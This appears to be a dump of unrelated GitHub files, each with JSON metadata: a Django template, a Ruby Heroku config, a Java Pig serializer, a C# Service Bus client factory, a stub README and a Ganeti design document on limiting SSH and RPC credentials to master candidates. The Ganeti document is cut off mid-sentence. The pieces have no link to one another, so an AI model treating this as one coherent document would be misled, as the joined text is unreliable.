{% load testsite_tags %} <!DOCTYPE html> <html> <head> <title>{% block localheader_title %}SignUp Testsite{% endblock %} | DjaoDjin</title> {% block localheader %} {% endblock %} </head> <body> {% block menubar %} <div> {% if user.is_authenticated %} <a id="authenticated-user" href="{% url 'accounts_profile' %}">profile</a> <a href="{% url 'logout' %}">sign out</a> {% else %} <a href="{% url 'login' %}">sign in</a> {% endif %} </div> {% endblock %} <div id="messages"> <div id="messages-content"> {% for message in request|messages %} <div class="alert{% if message.tags %} alert-{{message.tags}}{% endif %}"> <button type="button" class="close" data-dismiss="alert">&times;</button> <div>{{message|safe}}</div> </div> {% endfor %} {% if form %} {% for message in form|messages %} <div class="alert alert-danger"> <button type="button" class="close" data-dismiss="alert">&times;</button> <div>{{message}}</div> </div> {% endfor %} {% endif %} <script type="text/javascript"> var _showErrorMessagesProviderNotified = "We have been notified" + " and have started on fixing the error. We apologize for the" + " inconvinience."; </script> </div> </div> <div id="app"> {% block content %}{% endblock %} </div> {% block footer %}{% endblock %} </body> {% block scripts %} <script type="text/javascript" charset="utf-8" src="/static/vendor/jquery.js"></script> <script type="text/javascript" charset="utf-8" src="/static/js/djaodjin-resources.js"></script> {% if VUEJS %} <script type="text/javascript" charset="utf-8" src="/static/vendor/vue.js"></script> <script type="text/javascript" charset="utf-8" src="/static/vendor/vue-croppa.js"></script> <script type="text/javascript" charset="utf-8" src="/static/js/djaodjin-resources-vue.js"></script> <script type="text/javascript" charset="utf-8" src="/static/js/djaodjin-signup-vue.js"></script> <script type="text/javascript"> Vue.prototype.$itemsPerPage = {% if items_per_page %}{{items_per_page}}{% else %}25{% endif %}; //Vue.prototype.$sortDirection = ; //Vue.prototype.$sortByField = ; Vue.prototype.$dateRange = { start_at: "{% if start_at %}{{start_at|date:"Y-m-dTG:i:s"}}{% endif %}", ends_at: "{% if ends_at %}{{ends_at|date:"Y-m-dTG:i:s"}}{% endif %}" }; Vue.prototype.$urls = {% if urls %}{{urls|to_json}}{% else %}{}{% endif %}; Vue.use(Croppa); var app = new Vue({ el: '#app', delimiters: ["[[","]]"], }); </script> {% else %} <script type="text/javascript" charset="utf-8" src="/static/vendor/angular.js"></script> <script type="text/javascript" charset="utf-8" src="/static/vendor/angular-touch.js"></script> <script type="text/javascript" charset="utf-8" src="/static/vendor/angular-animate.js"></script> <script type="text/javascript" charset="utf-8" src="/static/vendor/angular-resource.js"></script> <script type="text/javascript" charset="utf-8" src="/static/vendor/angular-route.js"></script> <script type="text/javascript" charset="utf-8" src="/static/vendor/ui-bootstrap-tpls.js"></script> <script type="text/javascript" charset="utf-8" src="/static/js/djaodjin-signup-angular.js"></script> <script type="text/javascript"> /* Implementation Note: Not including a list of dependent modules (2nd parameter to `module`) "re-opens" the module for additional configuration. - We add the CSRF token for as an HTTP header on API calls. - We make it easier to separate between django and angularjs templates by changing Angular defaults to [[ and ]] characters. */ var reopenSignupApp = angular.module('signupApp'); reopenSignupApp.config(['$interpolateProvider', '$httpProvider', function($interpolateProvider, $httpProvider) { $httpProvider.defaults.headers.common['X-CSRFToken'] = '{{csrf_token}}'; $interpolateProvider.startSymbol('[['); $interpolateProvider.endSymbol(']]'); }]); reopenSignupApp.constant('settings', { urls: {% if urls %}{{urls|to_json}}{% else %}{}{% endif %}, itemsPerPage: {% if items_per_page %}{{items_per_page}}{% else %}25{% endif %}, modals: { generate_key: "#generate-key", }, }); </script> {% endif %} {% endblock %} </html>
{ "content_hash": "515206a45ae819b7a2539051ad1d6e9b", "timestamp": "", "source": "github", "line_count": 106, "max_line_length": 100, "avg_line_length": 40.41509433962264, "alnum_prop": 0.6363211951447245, "repo_name": "djaodjin/djaodjin-signup", "id": "e5abc6a874f5688f055f0404021efbc7ca125556", "size": "4284", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "testsite/templates/base.html", "mode": "33188", "license": "bsd-2-clause", "language": [ { "name": "HTML", "bytes": "17514" }, { "name": "JavaScript", "bytes": "89302" }, { "name": "Makefile", "bytes": "3690" }, { "name": "Python", "bytes": "345507" } ], "symlink_target": "" }
Jumpup::Heroku.configure do |config| config.app = 'podaholic' end if Rails.env.development?
{ "content_hash": "e5fb2ce5fef559d7cd22ff4824ad6e78", "timestamp": "", "source": "github", "line_count": 3, "max_line_length": 36, "avg_line_length": 31.333333333333332, "alnum_prop": 0.7553191489361702, "repo_name": "ResultadosDigitais/podaholic", "id": "58fb350964c5079f5614ecb7770bde5882e76f2a", "size": "94", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "config/initializers/jumpup_heroku.rb", "mode": "33188", "license": "mit", "language": [ { "name": "CSS", "bytes": "13382" }, { "name": "HTML", "bytes": "8286" }, { "name": "JavaScript", "bytes": "2651" }, { "name": "Ruby", "bytes": "53867" } ], "symlink_target": "" }
package org.elasticsearch.hadoop.pig; import java.util.List; import java.util.Map; import org.apache.pig.ResourceSchema; import org.apache.pig.ResourceSchema.ResourceFieldSchema; import org.apache.pig.data.DataBag; import org.apache.pig.data.DataByteArray; import org.apache.pig.data.DataType; import org.apache.pig.data.Tuple; import org.elasticsearch.hadoop.cfg.Settings; import org.elasticsearch.hadoop.serialization.EsHadoopSerializationException; import org.elasticsearch.hadoop.serialization.Generator; import org.elasticsearch.hadoop.serialization.SettingsAware; import org.elasticsearch.hadoop.serialization.builder.ValueWriter; import org.elasticsearch.hadoop.util.FieldAlias; import org.elasticsearch.hadoop.util.StringUtils; import org.elasticsearch.hadoop.util.unit.Booleans; public class PigValueWriter implements ValueWriter<PigTuple>, SettingsAware { private final boolean writeUnknownTypes; private boolean useTupleFieldNames; private FieldAlias alias; public PigValueWriter() { this(false); } public PigValueWriter(boolean useTupleFieldNames) { writeUnknownTypes = false; this.useTupleFieldNames = useTupleFieldNames; alias = new FieldAlias(); } @Override public void setSettings(Settings settings) { alias = PigUtils.alias(settings); useTupleFieldNames = Booleans.parseBoolean(settings.getProperty(PigUtils.NAMED_TUPLE), PigUtils.NAMED_TUPLE_DEFAULT); } @Override public boolean write(PigTuple type, Generator generator) { return writeRootTuple(type.getTuple(), type.getSchema(), generator, true); } private boolean write(Object object, ResourceFieldSchema field, Generator generator) { byte type = (field != null ? field.getType() : DataType.findType(object)); if (object == null) { generator.writeNull(); return true; } switch (type) { case DataType.ERROR: case DataType.UNKNOWN: return handleUnknown(object, field, generator); case DataType.NULL: generator.writeNull(); break; case DataType.BOOLEAN: generator.writeBoolean((Boolean) object); break; case DataType.INTEGER: generator.writeNumber(((Number) object).intValue()); break; case DataType.LONG: generator.writeNumber(((Number) object).longValue()); break; case DataType.FLOAT: generator.writeNumber(((Number) object).floatValue()); break; case DataType.DOUBLE: generator.writeNumber(((Number) object).doubleValue()); break; case DataType.BYTE: generator.writeNumber((Byte) object); break; case DataType.CHARARRAY: generator.writeString(object.toString()); break; case DataType.BYTEARRAY: generator.writeBinary(((DataByteArray) object).get()); break; // DateTime introduced in Pig 11 case 30: //DataType.DATETIME generator.writeString(PigUtils.convertDateToES(object)); break; // DateTime introduced in Pig 12 case 65: //DataType.BIGINTEGER throw new EsHadoopSerializationException("Big integers are not supported by Elasticsearch - consider using a different type (such as string)"); // DateTime introduced in Pig 12 case 70: //DataType.BIGDECIMAL throw new EsHadoopSerializationException("Big decimals are not supported by Elasticsearch - consider using a different type (such as string)"); case DataType.MAP: ResourceSchema nestedSchema = field.getSchema(); // empty tuple shortcut if (nestedSchema == null) { generator.writeBeginObject(); generator.writeEndObject(); break; } ResourceFieldSchema[] nestedFields = nestedSchema.getFields(); generator.writeBeginObject(); // Pig maps are actually String -> Object association so we can save the key right away for (Map.Entry<?, ?> entry : ((Map<?, ?>) object).entrySet()) { generator.writeFieldName(alias.toES(entry.getKey().toString())); write(entry.getValue(), nestedFields[0], generator); } generator.writeEndObject(); break; case DataType.TUPLE: writeTuple(object, field, generator, useTupleFieldNames, false); break; case DataType.BAG: nestedSchema = field.getSchema(); // empty tuple shortcut if (nestedSchema == null) { generator.writeBeginArray(); generator.writeEndArray(); break; } ResourceFieldSchema bagType = nestedSchema.getFields()[0]; generator.writeBeginArray(); for (Tuple tuple : (DataBag) object) { write(tuple, bagType, generator); } generator.writeEndArray(); break; default: if (writeUnknownTypes) { return handleUnknown(object, field, generator); } return false; } return true; } private boolean writeRootTuple(Tuple tuple, ResourceFieldSchema field, Generator generator, boolean writeTupleFieldNames) { return writeTuple(tuple, field, generator, writeTupleFieldNames, true); } private boolean writeTuple(Object object, ResourceFieldSchema field, Generator generator, boolean writeTupleFieldNames, boolean isRoot) { ResourceSchema nestedSchema = field.getSchema(); boolean result = true; boolean writeAsObject = isRoot || writeTupleFieldNames; boolean isEmpty = (nestedSchema == null); if (!isEmpty) { // check if the tuple contains only empty fields boolean allEmpty = true; for (ResourceFieldSchema nestedField : nestedSchema.getFields()) { allEmpty &= (nestedField.getSchema() == null && PigUtils.isComplexType(nestedField)); } isEmpty = allEmpty; } // empty tuple shortcut if (isEmpty) { if (!isRoot) { generator.writeBeginArray(); } if (writeAsObject) { generator.writeBeginObject(); generator.writeEndObject(); } if (!isRoot) { generator.writeEndArray(); } return result; } ResourceFieldSchema[] nestedFields = nestedSchema.getFields(); // use getAll instead of get(int) to avoid having to handle Exception... List<Object> tuples = ((Tuple) object).getAll(); if (!isRoot) { generator.writeBeginArray(); } if (writeAsObject) { generator.writeBeginObject(); } for (int i = 0; i < nestedFields.length; i++) { if (writeAsObject) { String name = nestedFields[i].getName(); // handle schemas without names name = (StringUtils.hasText(name) ? alias.toES(name) : Integer.toString(i)); generator.writeFieldName(name); } result &= write(tuples.get(i), nestedFields[i], generator); } if (writeAsObject) { generator.writeEndObject(); } if (!isRoot) { generator.writeEndArray(); } return result; } protected boolean handleUnknown(Object value, ResourceFieldSchema field, Generator generator) { return false; } }
{ "content_hash": "bb983d03c6ca98f5f044a46ea4a6dc8b", "timestamp": "", "source": "github", "line_count": 222, "max_line_length": 155, "avg_line_length": 35.090090090090094, "alnum_prop": 0.6100128369704749, "repo_name": "nfouka/elasticsearch-hadoop", "id": "45fe84c57182802b647750b03f56a5541ab39774", "size": "8578", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "pig/src/main/java/org/elasticsearch/hadoop/pig/PigValueWriter.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Java", "bytes": "1183907" }, { "name": "Scala", "bytes": "26375" } ], "symlink_target": "" }
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. using Azure.Core; using Azure.Messaging.ServiceBus; using Azure.Messaging.ServiceBus.Administration; using Microsoft.Azure.WebJobs.Extensions.Clients.Shared; using Microsoft.Azure.WebJobs.ServiceBus; using Microsoft.Extensions.Azure; using Microsoft.Extensions.Configuration; using System; using Microsoft.Extensions.Options; using Constants = Microsoft.Azure.WebJobs.ServiceBus.Constants; namespace Microsoft.Azure.WebJobs.Extensions.ServiceBus.Config { internal class ServiceBusClientFactory { private readonly IConfiguration _configuration; private readonly AzureComponentFactory _componentFactory; private readonly MessagingProvider _messagingProvider; private readonly ServiceBusOptions _options; public ServiceBusClientFactory( IConfiguration configuration, AzureComponentFactory componentFactory, MessagingProvider messagingProvider, AzureEventSourceLogForwarder logForwarder, IOptions<ServiceBusOptions> options) { _configuration = configuration; _componentFactory = componentFactory; _messagingProvider = messagingProvider; _options = options?.Value ?? throw new ArgumentNullException(nameof(options)); logForwarder.Start(); } internal ServiceBusClient CreateClientFromSetting(string connection) { var connectionInfo = ResolveConnectionInformation(connection); return connectionInfo.ConnectionString != null ? _messagingProvider.CreateClient(connectionInfo.ConnectionString, _options.ToClientOptions()) : _messagingProvider.CreateClient(connectionInfo.FullyQualifiedNamespace, connectionInfo.Credential, _options.ToClientOptions()); } internal ServiceBusAdministrationClient CreateAdministrationClient(string connection) { var connectionInfo = ResolveConnectionInformation(connection); if (connectionInfo.ConnectionString != null) { return new ServiceBusAdministrationClient(connectionInfo.ConnectionString); } else { return new ServiceBusAdministrationClient(connectionInfo.FullyQualifiedNamespace, connectionInfo.Credential); } } private ServiceBusConnectionInformation ResolveConnectionInformation(string connection) { var connectionSetting = connection ?? Constants.DefaultConnectionStringName; IConfigurationSection connectionSection = _configuration.GetWebJobsConnectionStringSectionServiceBus(connectionSetting); if (!connectionSection.Exists()) { // Not found throw new InvalidOperationException($"Service Bus account connection string '{connectionSetting}' does not exist. " + $"Make sure that it is a defined App Setting."); } if (!string.IsNullOrWhiteSpace(connectionSection.Value)) { return new ServiceBusConnectionInformation(connectionSection.Value); } else { string fullyQualifiedNamespace = connectionSection["fullyQualifiedNamespace"]; if (string.IsNullOrWhiteSpace(fullyQualifiedNamespace)) { // Not found throw new InvalidOperationException($"Connection should have an 'fullyQualifiedNamespace' property or be a " + $"string representing a connection string."); } TokenCredential credential = _componentFactory.CreateTokenCredential(connectionSection); return new ServiceBusConnectionInformation(fullyQualifiedNamespace, credential); } } private record ServiceBusConnectionInformation { public ServiceBusConnectionInformation(string connectionString) { ConnectionString = connectionString; } public ServiceBusConnectionInformation(string fullyQualifiedNamespace, TokenCredential tokenCredential) { FullyQualifiedNamespace = fullyQualifiedNamespace; Credential = tokenCredential; } public string ConnectionString { get; } public string FullyQualifiedNamespace { get; } public TokenCredential Credential { get; } } } }
{ "content_hash": "800b6517e98cd5e6eb834fc34c23ffd2", "timestamp": "", "source": "github", "line_count": 107, "max_line_length": 153, "avg_line_length": 43.345794392523366, "alnum_prop": 0.6658042259594653, "repo_name": "AsrOneSdk/azure-sdk-for-net", "id": "3966284ffbb6aee05dbc54c6be40e30ee08f9009", "size": "4640", "binary": false, "copies": "1", "ref": "refs/heads/psSdkJson6Current", "path": "sdk/servicebus/Microsoft.Azure.WebJobs.Extensions.ServiceBus/src/Config/ServiceBusClientFactory.cs", "mode": "33188", "license": "mit", "language": [ { "name": "Batchfile", "bytes": "15473" }, { "name": "Bicep", "bytes": "13438" }, { "name": "C#", "bytes": "72203239" }, { "name": "CSS", "bytes": "6089" }, { "name": "Dockerfile", "bytes": "5652" }, { "name": "HTML", "bytes": "6169271" }, { "name": "JavaScript", "bytes": "16012" }, { "name": "PowerShell", "bytes": "649218" }, { "name": "Shell", "bytes": "31287" }, { "name": "Smarty", "bytes": "11135" } ], "symlink_target": "" }
ACCEPTED #### According to International Plant Names Index #### Published in null #### Original name null ### Remarks null
{ "content_hash": "8087ecc17903fab192dec1811f892afd", "timestamp": "", "source": "github", "line_count": 13, "max_line_length": 31, "avg_line_length": 9.692307692307692, "alnum_prop": 0.7063492063492064, "repo_name": "mdoering/backbone", "id": "2b8d2966bd2e764921a24d73c139e42048d28ed8", "size": "186", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "life/Plantae/Magnoliophyta/Magnoliopsida/Lamiales/Orobanchaceae/Agalinis/Agalinis angustifolia/README.md", "mode": "33188", "license": "apache-2.0", "language": [], "symlink_target": "" }
============================= Improvements of Node Security ============================= This document describes an enhancement of Ganeti's security by restricting the distribution of security-sensitive data to the master and master candidates only. Note: In this document, we will use the term 'normal node' for a node that is neither master nor master-candidate. .. contents:: :depth: 4 Objective ========= Up till 2.10, Ganeti distributes security-relevant keys to all nodes, including nodes that are neither master nor master-candidates. Those keys are the private and public SSH keys for node communication and the SSL certficate and private key for RPC communication. Objective of this design is to limit the set of nodes that can establish ssh and RPC connections to the master and master candidates. As pointed out in `issue 377 <https://code.google.com/p/ganeti/issues/detail?id=377>`_, this is a security risk. Since all nodes have these keys, compromising any of those nodes would possibly give an attacker access to all other machines in the cluster. Reducing the set of nodes that are able to make ssh and RPC connections to the master and master candidates would significantly reduce the risk simply because fewer machines would be a valuable target for attackers. Note: For bigger installations of Ganeti, it is advisable to run master candidate nodes as non-vm-capable nodes. This would reduce the attack surface for the hypervisor exploitation. Detailed design =============== Current state and shortcomings ------------------------------ Currently (as of 2.10), all nodes hold the following information: - the ssh host keys (public and private) - the ssh root keys (public and private) - node daemon certificate (the SSL client certificate and its corresponding private key) Concerning ssh, this setup contains the following security issue. Since all nodes of a cluster can ssh as root into any other cluster node, one compromised node can harm all other nodes of a cluster. Regarding the SSL encryption of the RPC communication with the node daemon, we currently have the following setup. There is only one certificate which is used as both, client and server certificate. Besides the SSL client verification, we check if the used client certificate is the same as the certificate stored on the server. This means that any node running a node daemon can also act as an RPC client and use it to issue RPC calls to other cluster nodes. This in turn means that any compromised node could be used to make RPC calls to any node (including itself) to gain full control over VMs. This could be used by an attacker to for example bring down the VMs or exploit bugs in the virtualization stacks to gain access to the host machines as well. Proposal concerning SSH host key distribution --------------------------------------------- We propose the following design regarding the SSH host key handling. The root keys are untouched by this design. Each node gets its own ssh private/public key pair, but only the public keys of the master candidates get added to the ``authorized_keys`` file of all nodes. This has the advantages, that: - Only master candidates can ssh into other nodes, thus compromised nodes cannot compromise the cluster further. - One can remove a compromised master candidate from a cluster (including removing it's public key from all nodes' ``authorized_keys`` file) without having to regenerate and distribute new ssh keys for all master candidates. (Even though it is be good practice to do that anyway, since the compromising of the other master candidates might have taken place already.) - If a (uncompromised) master candidate is offlined to be sent for repair due to a hardware failure before Ganeti can remove any keys from it (for example when the network adapter of the machine is broken), we don't have to worry about the keys being on a machine that is physically accessible. To ensure security while transferring public key information and updating the ``authorized_keys``, there are several other changes necessary: - Any distribution of keys (in this case only public keys) is done via SSH and not via RPC. An attacker who has RPC control should not be able to get SSH access where he did not have SSH access before already. - The only RPC calls that are made in this context are from the master daemon to the node daemon on its own host and noded ensures as much as possible that the change to be made does not harm the cluster's security boundary. - The nodes that are potential master candidates keep a list of public keys of potential master candidates of the cluster in a separate file called ``ganeti_pub_keys`` to keep track of which keys could possibly be added ``authorized_keys`` files of the nodes. We come to what "potential" means in this case in the next section. The key list is only transferred via SSH or written directly by noded. It is not stored in the cluster config, because the config is distributed via RPC. The following sections describe in detail which Ganeti commands are affected by the proposed changes. RAPI ~~~~ The design goal to limit SSH powers to master candidates conflicts with the current powers a user of the RAPI interface would have. The ``master_capable`` flag of nodes can be modified via RAPI. That means, an attacker that has access to the RAPI interface, can make all non-master-capable nodes master-capable, and then increase the master candidate pool size till all machines are master candidates (or at least a particular machine that he is aming for). This means that with RAPI access and a compromised normal node, one can make this node a master candidate and then still have the power to compromise the whole cluster. To mitigate this issue, we propose the following changes: - Add a flag ``master_capability_rapi_modifiable`` to the cluster configuration which indicates whether or not it should be possible to modify the ``master_capable`` flag of nodes via RAPI. The flag is set to ``False`` by default and can itself only be changed on the commandline. In this design doc, we refer to the flag as the "rapi flag" from here on. - Only if the ``master_capabability_rapi_modifiable`` switch is set to ``True``, it is possible to modify the master-capability flag of nodes. With this setup, there are the following definitions of "potential master candidates" depending on the rapi flag: - If the rapi flag is set to ``True``, all cluster nodes are potential master candidates, because as described above, all of them can eventually be made master candidates via RAPI and thus security-wise, we haven't won anything above the current SSH handling. - If the rapi flag is set to ``False``, only the master capable nodes are considered potential master candidates, as it is not possible to make them master candidates via RAPI at all. Note that when the rapi flag is changed, the state of the ``ganeti_pub_keys`` file on all nodes has to be updated accordingly. This should be done in the client script ``gnt_cluster`` before the RPC call to update the configuration is made, because this way, if someone would try to perform that RPC call on master to trick it into thinking that the flag is enabled, this would not help as the content of the ``ganeti_pub_keys`` file is a crucial part in the design of the distribution of the SSH keys. Note: One could think of always allowing to disable the master-capability via RAPI and just restrict the enabling of it, thus making it possible to RAPI-"freeze" the nodes' master-capability state once it disabled. However, we think these are rather confusing semantics of the involved flags and thus we go with proposed design. Note that this change will break RAPI compatibility, at least if the rapi flag is not explicitely set to ``True``. We made this choice to have the more secure option as default, because otherwise it is unlikely to be widely used. Cluster initialization ~~~~~~~~~~~~~~~~~~~~~~ On cluster initialization, the following steps are taken in bootstrap.py: - A public/private key pair is generated (as before), but only used by the first (and thus master) node. In particular, the private key never leaves the node. - A mapping of node UUIDs to public SSH keys is created and stored as text file in ``/var/lib/ganeti/ganeti_pub_keys`` only accessible by root (permissions 0600). The master node's uuid and its public key is added as first entry. The format of the file is one line per node, each line composed as ``node_uuid ssh_key``. - The node's public key is added to it's own ``authorized_keys`` file. (Re-)Adding nodes to a cluster ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ According to :doc:`design-node-add`, Ganeti transfers the ssh keys to every node that gets added to the cluster. Adding a new node will require the following steps. In gnt_node.py: - On the new node, a new public/private SSH key pair is generated. - The public key of the new node is fetched (via SSH) to the master node and if it is a potential master candidate (see definition above), it is added to the ``ganeti_pub_keys`` list on the master node. - The public keys of all current master candidates are added to the new node's ``authorized_keys`` file (also via SSH). In LUNodeAdd in cmdlib/node.py: - The LUNodeAdd determines whether or not the new node is a master candidate and in any case updates the cluster's configuration with the new nodes information. (This is not changed by the proposed design.) - If the new node is a master candidate, we make an RPC call to the node daemon of the master node to add the new node's public key to all nodes' ``authorized_keys`` files. The implementation of this RPC call has to be extra careful as described in the next steps, because compromised RPC security should not compromise SSH security. RPC call execution in noded (on master node): - Check that the public key of the new node is in the ``ganeti_pub_keys`` file of the master node to make sure that no keys of nodes outside the Ganeti cluster and no keys that are not potential master candidates gain SSH access in the cluster. - Via SSH, transfer the new node's public key to all nodes (including the new node) and add it to their ``authorized_keys`` file. - The ``ganeti_pub_keys`` file is transferred via SSH to all potential master candidates nodes except the master node (including the new one). In case of readding a node that used to be in the cluster before, handling of the SSH keys would basically be the same, in particular also a new SSH key pair is generated for the node, because we cannot be sure that the old key pair has not been compromised while the node was offlined. Note that for reasons of data hygiene, a node's ``ganeti_pub_keys`` file is cleared before the node is readded. Also, Ganeti attempts to remove any Ganeti keys from the ``authorized_keys`` file before the node is readded. However, since Ganeti does not keep a list of all keys ever used in the cluster, this applies only to keys which are currently used in the cluster. Note that Ganeti won't touch any keys that were added to the ``authorized_keys`` by other systems than Ganeti. Pro- and demoting a node to/from master candidate ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ If the role of a node is changed from 'normal' to 'master_candidate', the procedure is the same as for adding nodes from the step "In LUNodeAdd ..." on. If a node gets demoted to 'normal', the master daemon makes a similar RPC call to the master node's node daemon as for adding a node. In the RPC call, noded will perform the following steps: - Check that the public key of the node to be demoted is indeed in the ``ganeti_pub_keys`` file to avoid deleting ssh keys of machines that don't belong to the cluster (and thus potentially lock out the administrator). - Via SSH, remove the key from all node's ``authorized_keys`` files. This affected the behavior of the following commands: :: gnt-node modify --master-candidate=yes gnt-node modify --master-candidate=no [--auto-promote] If the node has been master candidate already before the command to promote it was issued, Ganeti does not do anything. Note that when you demote a node from master candidate to normal node, another master-capable and normal node will be promoted to master candidate. For this newly promoted node, the same changes apply as if it was explicitely promoted. The same behavior should be ensured for the corresponding rapi command. Offlining and onlining a node ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ When offlining a node, it immediately loses its role as master or master candidate as well. When it is onlined again, it will become master candidate again if it was so before. The handling of the keys should be done in the same way as when the node is explicitely promoted or demoted to or from master candidate. See the previous section for details. This affects the command: :: gnt-node modify --offline=yes gnt-node modify --offline=no [--auto-promote] For offlining, the removal of the keys is particularly important, as the detection of a compromised node might be the very reason for the offlining. Of course we cannot guarantee that removal of the key is always successful, because the node might not be reachable anymore. Even though it is a best-effort operation, it is still an improvement over the status quo, because currently Ganeti does not even try to remove any keys. The same behavior should be ensured for the corresponding rapi command. Cluster verify ~~~~~~~~~~~~~~ So far, ``gnt-cluster verify`` checks the SSH connectivity of all nodes to all other nodes. We propose to replace this by the following checks: - For all master candidates, we check if they can connect any other node in the cluster (other master candidates and normal nodes). - We check if the ``ganeti_pub_keys`` file contains keys of nodes that are no longer in the cluster or that are not potential master candidates. - For all normal nodes, we check if their key does not appear in other node's ``authorized_keys``. For now, we will only emit a warning rather than an error if this check fails, because Ganeti might be run in a setup where Ganeti is not the only system manipulating the SSH keys. Upgrades ~~~~~~~~ When upgrading from a version that has the previous SSH setup to the one proposed in this design, the upgrade procedure has to involve the following steps in the post-upgrade hook: - For all nodes, new SSH key pairs are generated. - All nodes and their public keys are added to the ``ganeti_pub_keys`` file and the file is copied to all nodes. - All keys of master candidate nodes are added to the ``authorized_keys`` files of all other nodes. Since this upgrade significantly changes the configuration of the clusters' nodes, we will add a note to the UPGRADE notes to make the administrator aware of this fact (in case he intends to enable access from normal nodes to master candidates for other reasons than Ganeti uses the machines). Also, in any operation where Ganeti creates new SSH keys, the old keys will be backed up and not simply overridden. Downgrades ~~~~~~~~~~ These downgrading steps will be implemtented from 2.13 to 2.12: - The master node's private/public key pair will be distributed to all nodes (via SSH) and the individual SSH keys will be backed up. - The obsolete individual ssh keys will be removed from all nodes' ``authorized_keys`` file. Renew-Crypto ~~~~~~~~~~~~ The ``gnt-cluster renew-crypto`` command will be extended by a new option ``--new-ssh-keys``, which will renew all SSH keys on all nodes and rebuild the ``authorized_keys`` files and the ``ganeti_pub_keys`` files according to the previous sections. This operation will be performed considering the already stated security considerations, for example minimizing RPC calls, distribution of keys via SSH only etc. Compliance to --no-ssh-init and --no-node-setup ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ With this design, Ganeti will do more manipulations of SSH keys and ``authorized_keys`` files than before. If this is not feasible in a Ganeti environment, the administrator has the option to prevent Ganeti from performing any manipulations on the SSH setup of the nodes. The options for doing so, are ``--no-ssh-init`` for ``gnt-cluster init``, and ``--no-node-setup`` for ``gnt-node add``. Note that these options already existed before the implementation of this design, we just confirm that they will be complied to with the new design as well. Proposal regarding node daemon certificates ------------------------------------------- Regarding the node daemon certificates, we propose the following changes in the design. - Instead of using the same certificate for all nodes as both, server and client certificate, we generate a common server certificate (and the corresponding private key) for all nodes and a different client certificate (and the corresponding private key) for each node. The server certificate will be self-signed. The client certficate will be signed by the server certificate. The client certificates will use the node UUID as serial number to ensure uniqueness within the cluster. They will use the host's hostname as the certificate common name (CN). - In addition, we store a mapping of (node UUID, client certificate digest) in the cluster's configuration and ssconf for hosts that are master or master candidate. The client certificate digest is a hash of the client certificate. We suggest a 'sha1' hash here. We will call this mapping 'candidate map' from here on. - The node daemon will be modified in a way that on an incoming RPC request, it first performs a client verification (same as before) to ensure that the requesting host is indeed the holder of the corresponding private key. Additionally, it compares the digest of the certificate of the incoming request to the respective entry of the candidate map. If the digest does not match the entry of the host in the mapping or is not included in the mapping at all, the SSL connection is refused. This design has the following advantages: - A compromised normal node cannot issue RPC calls, because it will not be in the candidate map. (See the ``Drawbacks`` section regarding an indirect way of achieving this though.) - A compromised master candidate would be able to issue RPC requests, but on detection of its compromised state, it can be removed from the cluster (and thus from the candidate map) without the need for redistribution of any certificates, because the other master candidates can continue using their own certificates. However, it is best practice to issue a complete key renewal even in this case, unless one can ensure no actions compromising other nodes have not already been carried out. - A compromised node would not be able to use the other (possibly master candidate) nodes' information from the candidate map to issue RPCs, because the config just stores the digests and not the certificate itself. - A compromised node would be able to obtain another node's certificate by waiting for incoming RPCs from this other node. However, the node cannot use the certificate to issue RPC calls, because the SSL client verification would require the node to hold the corresponding private key as well. Drawbacks of this design: - Complexity of node and certificate management will be increased (see following sections for details). - If the candidate map is not distributed fast enough to all nodes after an update of the configuration, it might be possible to issue RPC calls from a compromised master candidate node that has been removed from the Ganeti cluster already. However, this is still a better situation than before and an inherent problem when one wants to distinguish between master candidates and normal nodes. - A compromised master candidate would still be able to issue RPC calls, if it uses ssh to retrieve another master candidate's client certificate and the corresponding private SSL key. This is an issue even with the first part of the improved handling of ssh keys in this design (limiting ssh keys to master candidates), but it will be eliminated with the second part of the design (separate ssh keys for each master candidate). - Even though this proposal is an improvement towards the previous situation in Ganeti, it still does not use the full power of SSL. For further improvements, see Section "Related and future work". - Signing the client certificates with the server certificate will increase the complexity of the renew-crypto, as a renewal of the server certificates requires the renewal (and signing) of all client certificates as well. Alternative proposals: - The initial version of this document described a setup where the client certificates were also self-signed. This led to a serious problem (Issue 1094), which would only have been solvable by distributing all client certificates to all nodes and load them as trusted CAs. As this would have resulted in having to restart noded on all nodes every time a node is added, removed, demoted or promoted, this was not feasible and we switched to client certficates which are signed by the server certificate. - Instead of generating a client certificate per node, one could think of just generating two different client certificates, one for normal nodes and one for master candidates. Noded could then just check if the requesting node has the master candidate certificate. Drawback of this proposal is that once one master candidate gets compromised, all master candidates would need to get a new certificate even if the compromised master candidate had not yet fetched the certificates from the other master candidates via ssh. - In addition to our main proposal, one could think of including a piece of data (for example the node's host name or UUID) in the RPC call which is encrypted with the requesting node's private key. The node daemon could check if the datum can be decrypted using the node's certificate. However, this would ensure similar functionality as SSL's built-in client verification and add significant complexity to Ganeti's RPC protocol. In the following sections, we describe how our design affects various Ganeti operations. Cluster initialization ~~~~~~~~~~~~~~~~~~~~~~ On cluster initialization, so far only the node daemon certificate was created. With our design, two certificates (and corresponding keys) need to be created, a server certificate to be distributed to all nodes and a client certificate only to be used by this particular node. In the following, we use the term node daemon certificate for the server certficate only. In the cluster configuration, the candidate map is created. It is populated with the respective entry for the master node. It is also written to ssconf. (Re-)Adding nodes ~~~~~~~~~~~~~~~~~ When a node is added, the server certificate is copied to the node (as before). Additionally, a new client certificate (and the corresponding private key) is created on the new node to be used only by the new node as client certifcate. If the new node is a master candidate, the candidate map is extended by the new node's data. As before, the updated configuration is distributed to all nodes (as complete configuration on the master candidates and ssconf on all nodes). Note that distribution of the configuration after adding a node is already implemented, since all nodes hold the list of nodes in the cluster in ssconf anyway. If the configuration for whatever reason already holds an entry for this node, it will be overriden. When readding a node, the procedure is the same as for adding a node. Promotion and demotion of master candidates ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ When a normal node gets promoted to be master candidate, an entry to the candidate map has to be added and the updated configuration has to be distributed to all nodes. If there was already an entry for the node, we override it. On demotion of a master candidate, the node's entry in the candidate map gets removed and the updated configuration gets redistibuted. The same 